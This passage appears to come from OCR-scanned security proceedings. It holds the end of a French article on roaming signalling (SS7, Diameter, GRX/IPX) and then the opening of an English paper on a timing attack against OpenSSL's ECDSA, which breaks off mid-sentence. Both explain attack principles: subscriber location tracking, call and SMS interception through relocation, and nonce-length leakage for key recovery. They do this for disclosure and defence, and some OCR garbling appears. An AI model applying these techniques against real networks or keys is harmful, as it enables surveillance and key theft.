chaque opérateur doit, de ce fait, étre exposée aupres de centaines d’autres
opérateurs tout autour du monde!

4.2 Interconnexions et routage

Pour un opérateur, établir des interconnexions avec quelques parte-
naires de roaming demeure faisable ; mais lorsqu’il s’agit de centaines de
réseaux a l’étranger, chacun s’appuyant sur des fournisseurs éventuelle-
ment différents, avec des configurations spécifiques, la situation devient
moins facile & gérer. A ce jour, 197 états sont reconnus par ’ONU dans le
monde, plus de 750 opérateurs sont inscrits & la GSMA [20], et preés de
3 000 codes d’opérateurs mobiles sont renseignés dans Wikipédia [21].

Les opérateurs ont ainsi mis en place, via la GSMA, I’association
mondiale des opérateurs GSM, un systeme de déclaration d’itinérance,
s’appuyant sur une fiche dite IR.21 (Internal Recommendation n° 21).
Chaque opérateur y liste ses préfixes de numérotation, ses codes réseaux,
ses adresses IP, certaines configurations (par exemple concernant le sup-
port de VOLTE). Cela facilite la mise en ceuvre des interconnexions entre
opérateurs, qui s’appuient essentiellement sur les informations mises a dis-
position dans ces IR.21, via l'application RAEX [1]. Celle-ci est accessible
via Internet lorsqu’on dispose d’un compte sur 'infocentre de la GSMA,
et est opérée par l’entreprise Roamsys-next [2]. Chaque opérateur (pour
chaque pays) y est identifié par un TADIG (code a 5 caractéres, commen-
cant par le code pays; par exemple FRAF3 pour Bouygues Telecom), et y
renseigne un formulaire qui est ensuite converti et mis a disposition sous
format PDF et XML aux autres opérateurs.

Fournisseurs d’interconnexions

Face a ’accroissement du nombre d’opérateurs mobiles dans le monde,
et aux difficultés pour réaliser des interconnexions fonctionnelles en grand
nombre, des entreprises au rayonnement continental, voire international,
mais peu connues du public, se sont constituées. Ces fournisseurs d’in-
terconnexions, également appelés fournisseurs de services GRX / IPX
(pour GPRS Roaming eXchange et IP eXchange) permettent de réaliser le
routage de la signalisation entre opérateurs, en évitant a chaque opérateur
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de configurer des régles de routage spécifique a chacun de ses partenaires
de roaming.

Ainsi, lorsqu’'un VPLMN prend en charge un abonné étranger, ce
VPLMN envoie les messages de signalisation concernant cet abonné vers
son fournisseur d’interconnexion. Ce dernier, en accédant au contenu
du message, détermine le HPLMN de 'abonné, et route le message
vers le « back-end » de ce réseau (comme illustré dans la figure 2).
Ces fournisseurs peuvent également effectuer dans certains cas des
modifications des messages de signalisation, afin d’éviter certaines
incompatibilités ou dysfonctionnements empéchant une bonne prise en
charge des abonnés en itinérance.

Ces fournisseurs d’interconnexions sont connectés entre eux dans la
plupart des cas. Ceci fait qu'un opérateur, en établissant un contrat avec
un ou deux fournisseurs, pourra proposer des services d’itinérance sur la
quasi-totalité du globe, sans avoir a établir des centaines d’interconnexions
directes avec d’autres opérateurs. Parmi les fournisseurs de roaming les
plus connus, on trouve Syniverse, BICS (filliale de Belgacom), Arelion
(anciennement TeliaCarrier), iBASIS, Comfone, SAP... Certains gros
opérateurs disposent également d’interconnexions qu’ils commercialisent
souvent sous la dénomination Wholesale ou Carrier : Orange, Deutsche
Telekom, Vodafone, Telefonica, A1 Telekom Austria, Tata Communica-
tions. .. La plupart de ces entreprises, ou activités, ne sont généralement
pas exposées au grand public, et revétent ainsi une opacité importante.
Seul le fournisseur AMS-IX publie des statistiques de traffic [5] issues de
son hub d’interconnexions a Amsterdam.

Aujourd’hui, la plupart de ces interconnexions sont réalisées via des
VPN IPsec sur Internet, entre opérateurs et fournisseurs d’interconnexions.

Routage en SS7 avec SCCP

En SS7, la signalisation échangée entre opérateurs est routée par des
STP (Signaling Transfert Point), qui sont installés au sein et en bordure
des réseaux mobiles 2G-3G. Un message de signalisation SS7 entre deux
opérateurs peut passer par de multiples STP, certains appartenant a des
fournisseurs d’interconnexion tiers. Chaque STP va disposer d’adresse(s)
IP pour fonctionner sur les réseaux IP, et d'un SPC (Signaling Point
Code), 'identifiant au niveau MTP-3. L’ITU-T maintient une liste de SPC
internationaux (ou ISPC), dont une version compléte est disponible au
sein du bulletin opérationnel 1199 [11]. Il faut noter que les SPC sont
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également utilisés pour identifier les équipements et STP des réseaux de
téléphonie fixe fonctionnant en mode circuit.

Dans le cas des réseaux mobiles, les GT (pour Global Title), adresses
utilisées au sein du protocole SCCP, identifient les équipements terminaux :
source et destination d’un message de signalisation. Un GT est similaire a
un MSISDN, sauf qu’il identifie non pas un abonné, mais un équipement
télécom. Pour vulgariser au maximum, lorsqu’un STP route un message
SS7, il identifie le GT de destination dans le message, détermine le pays
(via le préfixe de numérotation) et 'opérateur auquel il appartient (géné-
ralement via une configuration statique constituée, entre autres, a partir
des fiches IR.21 des opérateurs), et détermine le STP auquel faire suivre le
message (son adresse IP et son SPC). De nombreux autres mécanismes de
routage existent, s’appuyant sur les SPC et GT, mais aussi les identifiants
E.214 (MGT) et E.212 (IMSI), qui peuvent également prendre place au
sein du champ GT. Nous n’entrerons cependant pas dans ces détails.

La figure 2 donne un exemple d’interconnexion fictive entre trois
opérateurs 2G-3G, via un ou deux fournisseurs d’IPX/GRX.

VodaPone Croatia 2G/3G VodaPone Croatia subscriber roaming

Prefix +385 = -
 Mec 215 - MNC 30 on Telefobica Brazil

s domain Connection through two IPX/GRX providers

XBLERD

Soniverse
IPX / GRX

i

PN

219306666699999

Telefobica Brazil
Prefix +55
MCC 724 - MNC 60

PS domain

HLR
(front-end) (back-end)

iBesos
IPX / GRX

cs domain
cs domain (front-end)
(front-end

XD

OB

)

Orage Benin
Prefix +229
MCC 616 - MNC 10

HLR
(back-end) PS domain
(front-end)

Fig. 2. Exemple d’interconnexions 2G-3G IPX/GRX
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Routage avec Diameter

En 4G, avec le protocole Diameter, la signalisation entre opérateurs est
routée par des DRA (Diameter Routing Agent), qui sont installés au sein et
en bordure des réseaux mobiles 4G. Lorsqu'un DRA est en bordure d’un ré-
seau, on peut également appeler DEA (Diameter Edge Agent). De méme
qu’en SS7, un message de signalisation Diameter peut passer par de mul-
tiples DRA, dont ceux de fournisseurs d’interconnexion tiers. Chaque DRA
dispose d’adresse(s) IP, et les opérateurs mobiles s’identifient avec leurs
realm (ou domaines), souvent de la forme mnc123.mcc234.3gppnetwork.org,
qui sont inclus dans chaque message Diameter. Cette construction s’appuie
sur les codes réseaux alloués a chaque opérateur (par exemple le code
MCC 208 pour la France, et le code MNC 01 — ou 001 en Diameter —
pour Orange). Ainsi, en fonction du realm de destination indiqué dans un
message Diameter, le DRA choisit 'adresse IP du DRA (ou équipement)
suivant vers lequel router le message.

Il est étonnant de s’appuyer sur des adresses (ou realm) de source et
de destination qui sont inscrites dans les messages a router, mais c’est
ainsi que Diameter est utilisé dans les réseaux 4G. On peut indiquer qu’en
sus du realm, le host de la source et de la destination (correspondant
généralement au nom d’hote complet de la machine) sont éventuellement
présents dans les messages entre opérateurs. Le routage de la signalisation
4G en Diameter, c’est un peu comme si on mettait les adresses IP dans
les payloads TCP! Cette situation permet malheureusement des scénarios
de spoofing relativement variés des lors qu’on s’adresse & un DRA qui ne
controle pas la cohérence des adresses IP sources avec les realm d’origine
dans les messages. Et cela arrive régulierement. . .

5 Sécurité sur les interconnexions inter-opérateurs

5.1 Difficultés de controle de I'opérateur sur ses abonnés

Cette section a pour but d’illustrer le type d’attaque classique que I'on
retrouve sur les réseaux de signalisation internationaux, tout en insistant
sur la difficulté que peuvent avoir les opérateurs a s’en protéger.

Correspondance entre MSISDN et IMSI

Lorsqu’un opérateur indélicat souhaite obtenir des informations sur un
abonné mobile, il doit au préalable disposer de son IMSI. Au départ,
celui-ci ne dispose souvent que de son numéro de téléphone (MSISDN),
et doit par conséquent le « résoudre » en IMSI. Plusieurs procédures de
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signalisation existent en SS7 comme en Diameter, permettant d’obtenir
PIMSI & partir d’un MSISDN. La plupart de ces procédures sont filtrées
sur les interconnexions internationales, selon les recommandations de la
GSMA, mais la procédure de routage des SMS, dite « Send-Routing-Info-
for-SM » (ou SRISM), qui est nécessaire au fonctionnement des SMS &
I'international, permet une telle résolution. Les opérateurs ont cependant
les moyens de se protéger contre cette résolution de MSISDN en IMSI, en
installant un SMS Home-Router (ou SMS-HR). Se reporter a la section 5.3
pour des détails concernant ce systeme.

De nombreux opérateurs continuent malheureusement de fonction-
ner sans SMS-HR, ou avec un équipement mal configuré. Par ailleurs,
la richesse des protocoles de signalisation en termes de procédures, de
messages et d’encodages, va souvent bénéficier a I’attaquant pour tenter
de contourner les mécanismes de défense mis en ceuvre par un opérateur
ciblé. Des lors que 'attaquant obtient 'IMSI d’un abonné cellulaire, il
va pouvoir effectuer des tentatives pour collecter des informations sur ce
dernier, et éventuellement intercepter certaines de ses communications.

Obtention de la localisation

Le principe méme de fonctionnement d’un réseau mobile consiste a
connaitre la localisation des abonnés, afin que ceux-ci puissent étre joints a
tout moment. C’est aussi souvent la donnée recherchée par les attaquants.
Différents équipements dans un coeur de réseau mobile mémorisent la
localisation des abonnés avec différents degrés de précision. Il existe
également des procédures entrainant une connexion vers 'abonné pour
une mesure précise de la position de ce dernier, permettant ultimement
d’obtenir sa position GPS.

De méme que pour limiter la possibilité d’obtenir la correspondance
entre MSISDN et IMSI, la GSMA recommande le filtrage de certains
messages et procédures entre opérateurs a l'international. Mais une fois
de plus, la richesse des protocoles de signalisation va servir 'attaquant
qui va tenter d’obtenir la position d’abonnés ciblés, avec la plus grande
précision possible, et éventuellement de maniere réguliere afin de pouvoir
tracer ses déplacements.

Controle de localisation des abonnés

Un abonné mobile n’est pas connecté en permanence a une antenne-relais,
mais uniquement lorsque son terminal a besoin d’échanger des données
(ou de prendre en charge un appel). Lorsque le terminal n’est pas connecté
a une antenne-relais, il reste « a I’écoute » de celle-ci, au cas ol il serait
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notifié, par exemple pour la réception d’un appel ou d’'un SMS. Dans ce
cas, on dit du terminal qu’il est en mode IDLE. Ce faisant, un opérateur
n’est assuré de la localisation d’un abonné que lorsque ce dernier est
connecté directement a son réseau. Mais dés lors qu’il repasse en mode
IDLE, le réseau ne conserve que la derniere localisation active de ’abonné.

Que se passe-t-il, alors, lorsque le front-end d’un réseau étranger
indique au back-end du réseau d’origine d’un abonné, que cet abonné est
relocalisé a I’étranger 7 Le réseau d’origine n’a d’autre possibilité que de
faire confiance au réseau étranger car aucune procédure cryptographique
ne permet d’authentifier la présence de 'abonné dans ce réseau étranger.
Cela change quelque peu en 5G, nous n’entrerons cependant pas
dans les détails ici : le lecteur assidu pourra se reporter a ’article [3]
publié dans le MISC 115. Cela reste totalement d’actualité en 2G, 3G et 4G.

Imaginons qu'un opérateur étranger peu scrupuleux décide de relocali-
ser un abonné cible sur son infrastructure (afin de se placer par exemple
en interception de ses appels et SMS, voir la section suivante a ce sujet),
le réseau d’origine ne dispose pas de moyens techniques siirs afin d’éviter
cette situation, ou de refuser cette relocalisation. Les guides techniques
éditées par le GSMA pour la sécurité de itinérance proposent aux opé-
rateurs d’évaluer la faisabilité réelle des relocalisations en fonction des
distances géographiques et durée entre les procédures, au sein de pare-feu
de signalisation. Autant dire qu'un tel type de filtrage est relativement
délicat !

On peut tout a fait imaginer qu’il se passe quelque chose de bizarre
lorsqu’un abonné (ou tout du moins son IMSI) fait du ping-pong entre
les USA et Israél, ou entre I’Allemagne et la Chine. Mais comment discri-
miner de telles relocalisations « sauvages » si elles ont lieu entre réseaux
frontaliers 7 Ou avec un opérateur « international » (comme un opérateur
satellite) 7 A l'inverse, une relocalisation vers un réseau qui semble lointain,
mais pouvant disposer d’antennes-relais a bord de bateaux par exemple,
doit-elle étre considérée comme illégitime et rejetée ?

Il s’agit ici d’une difficulté majeure concernant 'analyse de la lo-
calisation des abonnés mobiles, et par conséquence, de la sécurité des
communications associées.

Interception des communications
Comment le front-end d’un réseau étranger peut-il se placer en intercep-
tion des communications d’un abonné en le relocalisant chez lui?
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Il faut au préalable que l'opérateur indélicat trouve le front-end
(MSC/VLR, SGSN/GGSN, MME/SGW /PGW) légitime, en charge de
PIMSI ciblé. Ceci n’est pas forcément évident car les guides techniques
de la GSMA proposent également des régles de filtrage empéchant les
partenaires de roaming d’obtenir de telles informations, lorsque ’abonné
ciblé est sur son réseau d’origine. Ce type de filtrage n’est cependant
pas toujours évident & mettre en ceuvre, étant donné la complexité des
procédures de signalisation, et les multiples mécanismes de routage permis.
Certains opérateurs n’ont méme parfois aucun mécanisme de filtrage en
place. ..

Des lors que 'attaquant arrive a obtenir les adresses des équipements
réellement en charge, il va pouvoir indiquer au back-end du réseau d’origine
de l’abonné (le HLR / HSS) que celui-ci s’est déplacé sur son réseau, puis
rediriger les communications vers le front-end réellement en charge afin
que les communications de ’abonné continuent d’étre routées de bout en
bout. Ce type de scénario est assez simple & mettre en place pour les SMS,
plus complexe pour les communications vocales et de données, mais tout
de méme réalisables. Des conflits peuvent aussi se produire lors de certains
types de communications. Il s’agit ici juste d’expliquer le principe de base
des interceptions via les interconnexions de roaming; de trés nombreuses
variantes existent, selon le type de services ciblés (SMS, USSD, appels,
boite vocale, connexions de données, MMS. . .).

5.2 Services illégaux

La valeur intrinseque des données gérées par chaque opérateur
mobile a nourri la mise en place de services a I’éthique douteuse, visant
justement a permettre la résolution de MSISDN en IMSI et 'obtention
d’informations techniques sur des IMSI spécifiques (localisation, adresses
des équipements qui les prennent en charge. . .). De tels types de services
sont généralement dénommés « HLR lookup » car ils consistent souvent
au départ a requéter les HLR (ou HSS) de lopérateur de l’abonné
ciblé. Une simple recherche sur Internet permet de réaliser que de tels
services existent en nombre, et peuvent étre utilisés par quiconque
moyennant finance (de 'ordre du centime d’euro par lookup pour obtenir
des informations basiques). Certains ne servent cependant qu’a vérifier
lattachement d’un terminal au réseau a des fins marketing (par exemple
pour la réalisation de campagne d’envois de SMS), et non a obtenir des
données personnelles.
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Ces services fonctionnent sous couvert que les utilisateurs s’engagent
sur 'honneur a ne requéter que des numéros qui leurs appartiennent.
Les opérateurs de ces services quelques peu hostiles disposent également
d’installations techniques dans des pays qui n’ont généralement pas une
régulation des télécoms tres restrictive, et s’associent a des opérateurs ou
fournisseurs d’interconnexions IPX / GRX qui souhaitent faire du business
sans s’encombrer de questions éthiques! On retrouve ainsi ces opérateurs
peu scrupuleux installés dans de petits pays, souvent insulaires. On peut
citer Jersey, Guernesey, Malte, Chypre, certaines iles des Caraibes, certains
petits pays d’Afrique ou d’Asie; le fait est que les attaquants n’ont pas
de difficulté a trouver un pays ou s’installer des lors que leur activité est
suffisamment lucrative !

L’avénement de services internationaux pour ’envoi de SMS en masse,
au service des petites et grandes enseignes commerciales du monde entier,
a également poussé les opérateurs télécoms et d’infrastructure de réseaux
mobiles & s’ouvrir encore plus & des fournisseurs tiers. De nombreuses
entreprises proposent ainsi ’envoi de SMS par milliers, avec une couverture
continentale voire mondiale. De fait, ces entreprises ont acceés aux réseaux
de signalisation internationaux, en particulier SS7. Récemment, ’entreprise
Mitto AG, basée en Suisse, a été dénoncée comme utilisant son infrastruc-
ture de distribution de SMS et d’acces aux réseaux de signalisation SS7 a
des fins d’espionnage [9].

5.3 Moyens de protection pour les opérateurs

De multiples moyens de défense existent pour que les opérateurs
protegent leur infrastructure et leurs abonnés des malversations commises
par certains de leurs partenaires de roaming (qui, dés lors, portent bien
mal leur nom de « partenaire »).

Tout d’abord la mise en place d’un filtrage basique afin d’éviter tout
simplement la prise en charge de certaines procédures par le back-end
et le front-end du cceur de réseau. Certains STP SS7 et DRA Diameter
permettent la mise en place de tels filtres statiques. Les équipements
terminaux eux-mémes peuvent également permettre de configurer les
seules procédures autorisées (ou interdites) en fonction de ’adresse source.

Ensuite, la mise en place d’'un SMS Home-Router, afin d’éviter de
révéler les IMSI réels de ses abonnés a partir de leur MSISDN. Ceci permet
par ailleurs & 'opérateur d’analyser ’ensemble des SMS a destination
de ses abonnés, y compris lorsque ceux-ci sont en itinérance a 1’étranger.
Il est vrai qu’en France, les opérateurs ne sont a priori pas en droit
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d’accéder aux contenus des communications, mais certains mécanismes de
filtrage peuvent étre mis en place sur les en-tétes de SMS, ou un hash du
contenu, afin de détecter des problemes de spam ou phishing SMS, ou des
tentatives de compromission de terminaux ou de cartes SIM.

Enfin, un pare-feu de signalisation complet devrait également étre
installé, afin d’effectuer un filtrage contextuel de la signalisation provenant
des réseaux exterieurs, comme expliqué dans la section 5.1. Ce type de
pare-feu permet de filter la signalisation SS7 et Diameter en s’appuyant
sur le contexte de chaque abonné (entre autres, sa localisation). Il permet
également de filtrer le protocole GTP-C afin de s’assurer qu’il n’y ait
pas de tentatives de détournement des connexions de données, lorsque
celles-ci sont routées entre opérateur a l’étranger et opérateur d’ori-
gine (ce procédé est aussi appelé home-routing des connexions de données).

D’un co6té, depuis une dizaine d’années, les opérateurs mettent de
plus en plus en ceuvre ce type de mesures de sécurité. Grace a cela, les
guides techniques et équipements gagnent en maturité, d’'un point de
vue fonctionnel. D’un autre c6té, ces équipements peuvent régulierement
souffrir de défauts d’implémentation, du fait de fonctions toujours plus
complexes. Les attaquants savent tirer profit de ces défauts pour contour-
ner les politiques de sécurité établies par les opérateurs. Ainsi, aucun
moyen de protection ne semble ultime et incontournable, et il convient
également d’effectuer une surveillance des interconnexions, via des outils
de supervision de la sécurité au niveau télécom.

5.4 Compromissions et espionnage

Dans le monde feutré des opérateurs mobiles et télécoms, rares sont
les incidents qui donnent lieu a de longs articles dans la presse généraliste.
Globalement, seules des interruptions de services majeures sont relayées,
telles que le probleme ayant touché le service de numéro d’urgence [4]
en France en juin 2021. De fait, les attaquants sur les réseaux télécoms
réalisent sans doute des bénéfices plus durables et substantiels lorsque
leurs actions n’entrainent pas de telles interruptions.

Certaines entreprises de sécurité et certains médias s’attardent heureu-
sement régulierement sur des cas d’espionnages, et permettent de prendre
conscience un tant soit peu, de la maniere dont les attaquants operent.
On peut citer quelques cas récents :

— Le média Vice a mis en lumiere [15] I'opérateur d’interconnexions

Syniverse, dont I'infrastructure permet 'interconnexion d’opéra-
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teurs du monde entier pour I’Amérique, et est apparemment restée
compromise entre 2016 et 2021.

— Crowdstrike a publié en 2021 un rapport [12] expliquant la com-
promission d’opérateurs mobiles via leurs serveurs eDNS (les DNS
utilisés pour résoudre, entre autre, les APN et permettre le rou-
tage des connexions de données en itinérance) et lexfiltration de
données.

— Un article [6] de CitizenLab de 2020 décrit le mode opératoire
de la société Circle, effectuant des malversations sur les réseaux
SS7; société probablement affiliée & NSO Group, qui a distribué
ces dernieres années des malwares ciblant principalement iPhone
et terminaux Android.

— Le média The Guardian explique [19] en 2020 comment les méchants
chinois espionnent les gentils américains depuis des infrastructures
de fournisseurs chinois, installées chez des opérateurs mobiles de la
zone caraibéenne.

— Un autre article [8] décrit 'usage de systémes de signalisation
mobiles pour des campagnes d’espionnage, a partir des iles anglo-
normandes.

— Mandiant a également publié un rapport [18] en 2019 sur la com-
promission de SMS-Center d’opérateurs mobiles.

— Adaptive Mobile décrit dans un blogpost [7] détaillé, et peu avant
I’entrée en guerre de la Russie en Ukraine, comment certaines
campagnes d’espionnage SS7 d’origine Russe seraient camouflées
au sein du routage international.

L’ensemble de ces articles semblent parfaitement serieux, et les procédés

techniques décrits tout a fait réalistes.

5.5 Difficultés des régulations nationales

Les équipements de sécurité et de filtrage restent souvent cotiteux,
car complexes, comme la plupart des équipements télécoms. Tous les
opérateurs ne peuvent ou ne souhaitent pas en installer : apres tout, le fait
que les abonnés d’un opérateur puissent étre espionnés n’engendre bien
souvent pas (ou peu) de pertes financiéres a l'opérateur. Par conséquent,
c’est souvent aux régulateurs de pousser (voire de forcer) les opérateurs a
déployer des mesures de défense.

A Déchelle mondiale, encore de nombreux opérateurs sont peu, voire
pas du tout protégés, au niveau de leurs interconnexions de roaming. En
France, et plus largement en Europe, la régulation des télécoms est assez
stricte et pousse les opérateurs a mettre en ceuvre de telles défenses. En
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Amérique du Nord, les régulateurs tentent de pousser les opérateurs a
plus de sécurité ; malheureusement, le marché y est tellement ouvert du
point de vue commercial, que les données des abonnés américains sont
loin d’étre les mieux protégées. Cela est visible lorsqu’on regarde de plus
prés la commercialisation des données de localisation [13] ou la maniére
dont les SMS sont distribués [14].

Enfin, les régulateurs fonctionnent tous au niveau national, et n’ont
quasiment aucune emprise sur les activités agressives d’opérateurs au-dela
de leurs frontiéres.

6 Conclusion

Lorsqu’'un attaquant cible une entreprise privée, il cible généralement
le patrimoine immatériel de lentreprise (la propriété intellectuelle,
les contrats, clients et prospects...), qui incluent éventuellement des
données personnelles : nom, email, parfois numéro de tel, numéro de
carte bancaire... Dans le cas d’un opérateur mobile, le patrimoine de
I’entreprise est constitué principalement des données personnelles de
ses abonnés : nom, adresse, identifiant de compte en banque, numéro
de télephone, IMSI, localisation au cours du temps, SMS échangés,
interlocuteurs et durée des appels, connexions de données, résolutions
DNS, contenus des communications. .. pour des millions d’habitants d’un
pays. Un tel niveau de détails de données personnelles n’existe a priori
nulle part ailleurs (sauf peut-étre a la NSA)!

Les attaquants qui ciblent les opérateurs mobiles ont conscience de cette
valeur, et font en sorte de pérenniser leurs activités en restant discrets. Il y
a trés peu d’actes de « délinquance » informatique sur les infrastructures
cellulaires, qui restent assez robustes et redondantes par ailleurs. Un intérét
d’effectuer du renseignement via les réseaux de signalisation mobiles est
également qu’il ne laisse quasiment aucune trace sur les terminaux des
abonnés, contrairement a l'installation de malware. Enfin, les opérateurs
sont souvent peu enclins & empécher et/ou surveiller leurs interconnexions
de signalisation, car ces faits d’espionnage n’impliquent la plupart du
temps aucune perte financiére pour eux. Ainsi, c¢’est bien souvent aux
régulateurs d’imposer la mise en place de moyens de défense, qui demeurent
parfois perfectibles ou faillibles.

Au final, des efforts restent a faire globalement, afin que les opérateurs
mettent en place des moyens de défense et de protection efficaces au
bénéfice de leurs abonnés. Du point de vue de I’'abonné, malheureusement
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aucun moyen technique ne permet de se protéger puisque les données
de signalisation le concernant sont entierement gérées par son opérateur.
Seule reste la possibilité de protéger le contenu de ses communications
avec des systemes de messagerie et d’appels sécurisés, tels que Signal.
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Abstract. Timing attacks are a class of side-channel attacks allowing
an adversary to recover some sensitive data by observing the execution
time of some underlying algorithm. Several cryptographic libraries have
been shown to be vulnerable against these attacks, oftentimes allowing
practical key recoveries. While recent papers showed that these threats are
well-known amongst developers, these libraries are often left unpatched,
due to the perceived burden of implementing efficient countermeasures.
Instead, many libraries chose to modify their threat model and to not
consider attacks where the adversary have local access to the target
anymore.

In this paper, we show how to implement, on a real world device, a
recent timing attack described by Weiser et al. at Usenix20, targeting
OpenSSL’s ECDSA. We expand their discovery and demonstrate that
this attack applies to a bigger set of curves than claimed in the original
paper. After characterising the weakness against timing, we show that
the perceived safety that can be provided by a practical resistance against
those attacks can easily be shattered using slightly costlier attacks such as
Simple Electro-Magnetic Analysis. Our work hence highlight that secure
embedded purposes require a very careful choice of side-channel resistant
library.

1 Cryptographic libraries and timing attacks

Side-channel attacks exploit various physical leakages related to vari-
ables being manipulated by a device. An attacker can leverage the obser-
vation of these leakages to recover underlying secret values. These attacks
have first been described in the literature by Kocher [4], and have since be
applied on dozens of embedded targets. Several of these attacks have been
illustrated at SSTIC on eg. smart cards or smartphones [2,6,8]. Timing
attacks, as described in 1996 by Paul Kocher in his seminal work [4] allow
to recover information about secret data by measuring the execution time
of the underlying algorithm. They have been shown to be particularly pow-
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erful against various cryptographic libraries, and caused the publication
of many CVEs*

Recently, [3] conducted a survey on cryptographic libraries developers.
The survey showed that, even though most developers are aware of these
kind of attacks, the perceived cost of implementing efficient countermea-
sures against them is too high. Instead, several libraries have decided to
exclude “hardware” side-channel attacks from their threat model. This
is in particular the case of the widely used library OpenSSL. While nu-
merous side-channel attacks have been published and exploited against
this library, its threat model has for a while excluded so-called “hardware”
side-channel and it was updated in May 2019 to exclude “same physical
system side-channel” (eg. prime-+probe attacks).

Before this change, from 2003 to 2018, 10 CVEs were published men-
tioning timing attacks on OpenSSL. In this work, we want to stress that
this library still suffers from timing flaws that could be exploited. In par-
ticular, we want to highlight the practical damage that can be induced by
an attacker that is supposed out of the scope of this model. At Usenix20,
Weiser et al. [9] described a class of side-channel vulnerabilities present
in many ECDSA implementations. OpenSSL decided not to fix their big
number library, which was responsible for this weaknesses.

In this section, we shortly describe the OpenSSL’s ECDSA vulnerabil-
ity, and how it can theoretically be exploited. Furthermore, we show that
the results of Weiser et al. can be extended to more curves than originally
identified.

1.1 ECDSA

Elliptic Curve Digital Signature Scheme (ECDSA) is a signature scheme
based on the hardness of computing a discrete logarithm over elliptic curves.
The scheme requires a given curve &, a generator point G of order n, and
a hash function H. Besides, the signer generates a key pair (d, P), where
d < n is a private key, and P = [d]G is the associated public key.

In order to sign a message m, the signer performs the following opera-
tions:

1. draw a random nonce k such that 0 < k <n
2. compute r = x([k]G), where z(-) returns the abscissa of a point

3. compute s = k1 (H(m) +rd) mod n

4 For example, the first timing-related CVE on OpenSSL was CVE-2003-0078, and
was exploitable through Vaudenay’s padding oracle attack.
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The signature is defined as the couple (r,s). It is well known that the
nonce k shall remain secret, the private key d can be trivially recovered
since:

d=r"Y(sk—H(m)) mod n

1.2 OpenSSL’s implementation

As suggested in appendix A.3.1 of the FIPS publication on Digital
Signature (FIPS 186-5) OpenSSL draws a random nonce &’ in the interval
[0, 2'°8(n=1)+64] and then compute k = &’ mod n. This modular reduction
is computed through a euclidean division.

Modular reduction BN_mod, is a straightforward call to BN_div
(code link)

The following snippet illustrates a simplified version of the div func-

tion®

div (BIGNUM *dv, BIGNUM *rm, const BIGNUM *num, const BIGNUM *divisor
, BN_CTX *ctx)

{
int ret;
[...]
ret = bn_div_fixed_top(dv, rm, num, divisor, ctx);
if (ret) {
if (dv != NULL)
bn_correct_top (dv) ;
if (rm != NULL)
bn_correct_top (rm);
}
return ret;
}

Note that line 11 calls bn_ correct_ top, which “corrects” the number
of words needed to store the remainder, that is, it gets rid of the zero
most significants words. Consequently, at the end of step 1, the random
nonce k is coded on the exact number of words that it requires. It follows
that any observation of the number of words used to store k& would reveal
information on its length.

Furthermore, OpenSSL’s big number inversion is dependent to the
manipulated data. The inversion is computed as an exponentiation k=1 =
k"2 mod n, since the order n is a prime value. The exponentiation

® It was pointed in a 2018 issue (https://github.com/openssl/openssl/issues/6367)
that BN_div is not time-constant. However, it is unclear how this issue could be
straightforwardly exploited.


https://github.com/openssl/openssl/blob/master/crypto/bn/bn_div.c#L209
https://github.com/openssl/openssl/issues/6367
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is performed thanks to Montgomery products denoted as x : a x b =
a-b-R™' modn, with R = 2* mod n for an appropriate integer w.
The first operation consists in computing k + R?, where R? mod n is a
precomputed value with same length as n. This multiplication involves the
following snippet (code link). Part of its code is reproduced hereafter °:

int bn_mul_mont_fixed_top (BIGNUM #*r, const BIGNUM *a, const BIGNUM *
b, BN_MONT_CTX *mont, BN_CTX *ctx)

{
BIGNUM *tmp;
int ret = 0;
int num = mont->N.top;
if (num > 1 && a->top == num && b->top == num) {
if (bn_wexpand(r, num) == NULL)
return O;
if (bn_mul_mont(r->d, a->d, b->d, mont->N.d, mont->n0, num))
{
r->neg = a->neg ~ b->neg;
r->top = num;
r->flags |= BN_FLG_FIXED_TOP;
return 1;
}
}
[
if (a == b) {
if (!bn_sqr_fixed_top(tmp, a, ctx))
goto err;
} else {
if (!bn_mul_fixed_top(tmp, a, b, ctx))
goto err;
}
/% reduce from aRR to aR */
if (!bn_from_montgomery_word(r, tmp, mont))
goto err;
ret = 1;
err:
BN_CTX_end (ctx);
return ret;
}

The execution flow of this function depends on its inputs: if the condition
at line 7 is satisfied, then the code between lines 8 to 15 will be executed
(and the rest will most likely not be), otherwise, the code between lines
18 to 31 will be executed instead.

This part of the code will provide us the required observability of the
bias. Indeed, considering the inputs a = k and b = R?, the condition at
line 7 simply checks that the number of machine words used to store the

% Some parts of this code are conditioned to the set of compilation flags
OPENSSL_BN__ASM_MONT and MONT_WORD. These flags are very often present by de-
fault.


https://github.com/openssl/openssl/blob/master/crypto/bn/bn_mont.c#L37-L85
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curve order n is strictly larger than one, and that the same number of
words are used to store a and b. Therefore, whenever k is stored on the
same number of words as n, the condition will be satisfied, and, whenever
it is not, the condition will not be satisfied. The amount of instructions
and different functions in each part of the code will lead to an observable
behaviour by a side-channel attacker, hence allowing him to recover this
information about the size of k.

1.3 Hidden Number Problem and LLL

The Hidden Number Problem (HNP) is a mathematical problem
introduced by Boneh and Venkatesan [1]. In the ECDSA context, the
problem asks for the recovery of the secret key d, from the knowledge
of several signatures, considering the obtention of some information on
the corresponding nonces k. We provide the interested reader with an
explanation of the HNP in a python notebook in the supplementary
material of this paper. This notebook also proposes a hands-on resolution
of a practical instance of this problem, relying on the so-called LLL
algorithm [5].

1.4 Finding vulnerable ECDSA curves

We showed in the previous subsections that an attacker is able to
distinguish whether the nonce k and the curve order n are stored on the
same number of words. In order to be exploitable, this observation needs
to allow the recovery of different nonce sizes a significant number of times.
This simple observation implies that not all curves are vulnerable against
this attack in practice.

As a simple counter-example, let us consider the standard curve
secp256kl. The order n of this curve is %ﬁ—word long on any w-bit
architecture. n is in fact close to 22°6 — 2128 and hence, on the vast ma-
jority of architectures, the binary expression of its most significant word
is fully composed of ones. The probability for any uniformly generated
nonce between 0 and n to require less than 2% words is then close to
27", Since a practical attack requires several dozens of such nonces, the
amount of total signatures to collect is prohibitive on most architectures,
eg. at least several dozens or hundreds of billions observations in the case
of a 32-bit architecture, and significantly worse on a 64-bit one.

On the contrary, let us consider the standard curve secp521r1, whose
order’s most significant 64 bits are 0x000001FF. Considering a 64-bit or

a 32-bit architecture, any uniformly generated nonce between 0 and this
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order has a probability of 27 to have a null most significative word. This
event is much more likely to be observed, and the total number of required
signatures to perform an attack can then be estimated around tens of
thousands, which is much more practical.

Using this method, Weiser et al. [9] found 32 standardized curves
implemented in OpenSSL that are vulnerable against this attack on
32-bit architectures (3 of them stay vulnerable on 64-bit architectures).
By slightly extending their study, we are able to discover twelve more
theoretically-vulnerable curves, among which 3 of them are vulnerable
in practice. Simply put, Weiser et al. looked for curve orders implying
